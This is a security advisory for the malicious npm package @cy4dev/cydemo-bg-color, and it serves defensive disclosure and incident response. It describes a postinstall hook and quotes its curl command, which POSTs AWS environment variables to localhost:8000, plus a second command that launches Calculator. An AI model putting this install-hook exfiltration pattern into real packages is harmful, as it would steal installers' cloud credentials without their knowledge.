@cy4dev/cydemo-bg-colornpm
Advisory published Updated
@cy4dev/cydemo-bg-color is a confirmed malicious npm package (MAL-2026-12504) that steals credentials and exfiltrates sensitive data (malicious versions 4.0.0, 5.0.0, 6.0.0…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @cy4dev/cydemo-bg-color (npm)
What this malware does
@cy4dev/[email protected] ships a postinstall lifecycle script (src/postinstall.js) that runs at npm install time and invokes node:child_process.exec with two shell commands. The first, curl -X POST -d \env | grep AWS` http://localhost:8000`, enumerates AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body — a functioning credential-exfiltration primitive against the installer's environment. The second, open /System/Applications/Calculator.app, launches a GUI application on macOS, demonstrating arbitrary host-shell execution triggered solely by installing the package. The package advertises itself as a DOM background-color helper; the postinstall behavior has no build or runtime purpose consistent with that description. The exfiltration destination in this build is loopback (localhost:8000), so the AWS credentials do not leave the host in this specific version, but the credential-scrape and arbitrary-exec code paths execute unconditionally on every install.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for @cy4dev/cydemo-bg-color (4 malicious versions).
If you installed it — respond
@cy4dev/cydemo-bg-color is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @cy4dev/cydemo-bg-color was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @cy4dev/cydemo-bg-color-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.